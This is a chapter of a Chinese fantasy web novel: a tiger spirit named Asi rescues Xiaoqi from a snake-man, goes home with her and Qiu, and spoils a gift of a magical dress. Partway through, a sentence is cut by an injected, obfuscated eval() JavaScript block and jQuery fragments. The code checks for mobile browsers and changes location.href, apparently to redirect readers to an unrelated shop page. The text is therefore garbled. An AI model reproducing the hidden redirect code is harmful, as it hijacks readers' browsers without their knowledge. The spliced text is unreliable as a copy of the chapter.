34. 春光乍泄

作品:《青妖

    一时间,脑浆血肉横飞,小七吓得惊叫起来,连忙双手捂嘴,躲回巨石后面。


    小七的心脏如擂鼓一般在胸腔跳动。她死死按住胸口,生怕自己的心跳让那白虎给听去了。


    别跳了别跳了,再跳就惹得那老虎过来了。


    小七怎么按也按不住她那狂跳的心,泪眼婆娑着急得不行。


    巨石后传来脚步声,不过不是老虎的,倒像是人的。


    小七小心翼翼抬袖抹了把眼泪鼻涕,凝神听着。


    确实是两只脚走路的声音。


    小七将脸贴到石壁上,一点点往外面移去。


    一双像野兽身上长出的赤脚,两只脚脚腕处各系着一圈银链子,裤子口束在小腿处,大红色的无袖马褂……


    竟然是阿肆!


    “嘿嘿!”阿肆冲她嘿嘿一笑,双手上的血渍还冒着热气。


    她将双手往裤腿上蹭了蹭,蹲到小七跟前道:“吃烤蛇肉不?新鲜着呢。”


    小七一时间愣在原地,回过神后朝阿肆身后望去,四处寻那白虎的影子。


    白虎没看见,倒是看见了在不远处地上六七截尚在蠕动的黑蛇蛇身。蛇身断面处血肉模糊,正冒着白气。


    霎时间像是有什么东西顶上心窝,小七胃里一阵翻江倒海,将晚膳吃的东西一股脑儿吐了出来。


    “你这是……”阿肆一脸不解地看着她,“为了吃蛇肉上赶着把胃腾空?”


    “你……”小七看向阿肆的眼神带着几分忌惮与害怕,“就是那只老虎吗?”


    “对呀!”


    阿肆双眸亮晶晶的,正朝着小七咧嘴笑,露出两边尖尖的小虎牙。


    小七颤声问:“你为何把他杀了?”


    “他?”阿肆歪着脑袋想了下,反应过来后回道:“噢!你说那条蛇啊,我看他不是在追你么?我就顺手帮你杀了……”


    “他是有同伙的……”


    小七想起之前和奇雨一起绑架自己的另外两个男人,喃喃道:“说不定之后会找你报仇。”


    “嗐!”阿肆甩了甩手,一脸无所谓,“这只有我俩,你不说谁知道。若有人问起来,就说是那青妖做的不就行了?”


    “青妖?”小七一脸诧异。


    阿肆耸耸肩反问道:“不是吗?赖在青妖身上不就行了?大家都是这样干的。”


    小七怔住了,一时间说不出话来。


    阿肆见她呆若木鸡的模样,嘲道:“不是吧?你还真以为天底下杀人放火的事儿全都是他一人做的?他哪有这么大的本事?”


    小七神色复杂:“那火焚大月王宫……”


    “那个是他。”阿肆点点头。


    “当初他……”阿肆说至此处,意识到自己多嘴了,于是话说到一半顿住。


    见小七正待着她说下去,阿肆又道:“反正现了青火的就是他做的,没现青火的,十有八九是旁人赖给他的。”


    小七正想问她怎么知道的这样多,突然见阿肆从她面前闪开,紧接着便传来利刃破空的声音。


    镜花的黑衣在风中猎猎作响,见阿肆闪到一边,她手腕一翻,调转剑刃的方向向阿肆刺去。


    阿肆的身手异常敏捷,在树丛中腾跃自如,像只猴子似的。可镜花剑法迅疾凌厉,招式果断干脆,循着阿肆的身形一路劈砍过去,枯枝树干纷纷折断倒地,大有神挡杀神佛挡杀佛的气势。


    小七回过神来,听见身后传来急促的脚步声。她刚回头,就被身后来人揽入了怀中。


    “小七!”


    小七的脸贴在丝滑冰凉的锦衣上,闻到了那股清冽的草木气息。


    楸右手按住她的后脑,将下巴搁在她的发上,调息许久才将她松开,上下打量起来。


    “这是怎么一回事?可是有谁伤你?”楸拾起她的右手腕,上面空空如也。


    果然,水玉镯让人给摘下了。


    瞧着她右手腕的伤痕,楸眉头紧锁,刚想出声问是怎么回事,便见小七将手抽回去,抓着他的袖子央道:“楸哥哥,你快让镜花停下,不要打阿肆了,是她救了我。”


    楸心下诧异,不过还是出声命镜花停下。


    镜花虽然收手回到楸身旁,却也只是将长剑负于身后,仍旧是面带警惕地看向阿肆。


    阿肆瞧着这持剑女人的剑势凌厉无情,于是盘腿坐在远处的树枝上,抱臂冷眼看着三人。


    小七将先前发生的事同楸讲了个大概。


    楸看了眼不远处被截成数段的蛇身,凝神思忖了片刻,起身对阿肆道:“今日之事多谢。”


    阿肆不说话。


    楸背对着小七蹲下,“上来吧,我们回家。”


    “阿肆,谢谢你。”小七看了眼阿肆,而后将脸贴在楸的发上,缓缓阖上了眼。


    她今日真是累极了。


    镜花瞥了眼树上的阿肆,还剑入鞘,跟了上去。


    走了没多久,小七发现楸停住脚步。


    他回头往身后看了一眼。


    小七正要问他怎么了,他又回过头来,继续往前走。


    这也不知是在哪座山上,孤寂荒凉,时不时传来几声夜鸟的“咕咕”声,回荡在山中,像极了怨鬼的哭嚎。


    幸而隔着彼此的厚衣裳,小七还是能感受到楸背上传来的体温,这让她安心不少。


    走了不知多久,小七正迷迷糊糊地睡着,忽然听见楸说道:“你还要跟到什么时候?”


    小七将脸从楸的肩头上抬起,揉了揉眼睛。


    楸背着她转过身去,小七的视线也跟着往身后的方向看去。


    月色黯淡,空落落的长街尽头却有一抹醒目的红色。


    是阿肆。


    见已被他们发现,阿肆大大方方地走了过来,“山上睡着不舒坦,我去你家睡。”


    见阿肆方才在山里杀了奇雨后面不改色,还将他的身子截成六七段,仿佛杀人对她来说就如喝水吃饭一样稀松平常,小七心里其实是很害怕她的。


    可她救了自己的命。


    阿肆赤脚单衣站在雪地上的模样,总会教小七心底泛起一阵酸楚,让她想起从前冬日里的自己。


    毕竟,阿肆看起来也只是个同自己差不多年岁的女子。


    “楸哥哥……”小七犹豫了下,嗫嚅着道:“不如……就让她在清辉堂住几日吧?待她熬过这几日的雪……”


    镜花闻言看向小七,刚想说她才不是因为什么怕冷,就听见自家公子应了声“好”。


    镜花话到嘴边咽了回去,抬脚跟上二人。


    回到清辉堂后,楸命女侍在前院收拾了间客房出来。


    阿肆在那间客房连着住了四五日,倒也未惹出太大的乱子,只是成日赖着小七,楸只要一找小七,必会见到阿肆。


    白日里楸教习小七时,阿肆在房里上蹿下跳就已令他头痛不已。到了晚上二魂修行结束后,小七的房里竟是要比市集还要吵闹。


    沙华与阿肆相安无事时两人已经会叽里呱啦拌上好一会儿嘴。若闹上矛盾,小七的屋里简直就是鸡飞狗跳,二魂到处飞,阿肆到处跳。


    楸头都要炸了,但又不得不每晚来此维持秩序。


    小七也盼着春天赶紧到来,好把阿肆这尊大佛给请走……


    .


    晨光熹微,皮靴行走在落了一夜的雪上,发出“沙沙”的声响,最后停在小七的房前。


    楸本不想这么早打扰小七,他知道小七一向爱


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16891805|190054||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    睡懒觉。


    水月手捧着个大大的木匣子,见公子在门前犹豫踟蹰,轻轻笑道:“公子进去罢,七姑娘一定会很喜欢这个礼物的。”


    楸扫了眼那只木匣,抬手叩响了房门。


    敲了半晌,无人应答,楸在门口支会了声,然后推门而入。


    抬眼看去无人,楸将视线移至榻上,果然被子鼓鼓的,像是有人正在酣睡。


    楸走近了些,见那被子捂得严严实实的,竟一点风也不透。


    难道她昨夜梦魇了?


    楸不由得皱起眉头,走到塌边坐下,“怎的把自己蒙在被子里?闷得不难受……”


    他话音未落,里面的人倏地把被子掀开,将脸凑到他面前,怪叫一声。


    楸冷不防被吓了一跳,定睛一看,竟是阿肆。


    “怎么是你?小七呢?”楸站起身,银面下的脸顿时冷肃起来。


    “她被我吃了!”阿肆笑嘻嘻说道。


    她笑起来眼睛弯弯的,还会露出两边的小虎牙。


    方才被阿肆一吓,水月就差点失手摔了手中的木匣,此刻听见她的话,更是连心跳都漏了半拍。


    楸更是浑身一僵,他立马大手掀起整床锦被,又蹲下身去看床底下,竟都不见小七的身影。


    见阿肆仰着的脸笑得如此没心没肺,楸登时犹如被雷电从头到脚狠狠劈下。


    “楸哥哥?”小七站在门口唤了一声。


    见楸蓦然侧首向门口看来,银面双孔下的眼眶竟然红了一圈,小七不由得愣住了。


    水月赶紧将木匣子搁在桌上,小步疾走至小七身旁拉着她进屋,“哎呀七姑娘,你上哪儿去了,可让我们心焦的……”


    小七不明所以,挠挠头跟着她走进来,“我……我就是去了趟茅厕……”


    楸偏过头去揉了揉太阳穴,暗暗自责自己怎么就上了阿肆的当。


    阿肆见那雕工精致的木匣被放在桌上,从榻上屈膝一跃到了桌边,伸手打开木匣,见里面是条做工精致的裙子。


    水月还来不及拦她,就见她一把将裙子掏出,套在了自己的身上。


    “哇!”阿肆惊叹起来。


    小七见阿肆穿着舞裙不停地转圈。


    她周围竟凭空显现出了星星点点的绿。那些绿渐渐在空中像藤蔓一般生长蔓延,分出的枝节上有些还长出了花苞。


    更奇妙的是,裙身上绣的彩蝶竟扑腾着翅膀飞了出来,落在那些花苞上,花苞缓缓绽开,一时间乱花迷眼,有如春光乍泄。


    楸单手扶额,极力压制住心里的怒意。


    水月连忙上前拉住阿肆,让她将那彩蝶留花裙脱下,生怕再晚些公子就要动怒了。


    好不容易将那彩蝶留花裙从阿肆身上脱下,水月将裙身上的褶皱仔细理了理,重新将裙子放回匣中,推到小七面前,面色略带尴尬道:“七姑娘,这彩蝶留花裙是公子知你习舞后,特地去昆山,请那边琼衣坊的……”


    “多嘴。”


    楸被阿肆败了兴致,忍着不悦语气平淡道:“你将衣裳装回去,托她们重新做一件。”


    “只怕是……”再做不出同这件一样的了。


    水月话到嘴边又咽了回去,毕竟是公子的吩咐,她只得合上木匣。


    “不要,这件我很喜欢……”小七拦住水月,继而仰头看着楸盈盈笑道:“这件衣裳很漂亮,我就想要这件。”


    “可……”


    “谢谢楸哥哥!”小七赶忙截住他的话头。


    楸走到小七面前,正想对她说些什么,却听见门口传来脚步声。


    几人转头一看,是镜花。


    “公子……”镜花朝着楸躬身拱手禀道:“小顽爷来了。”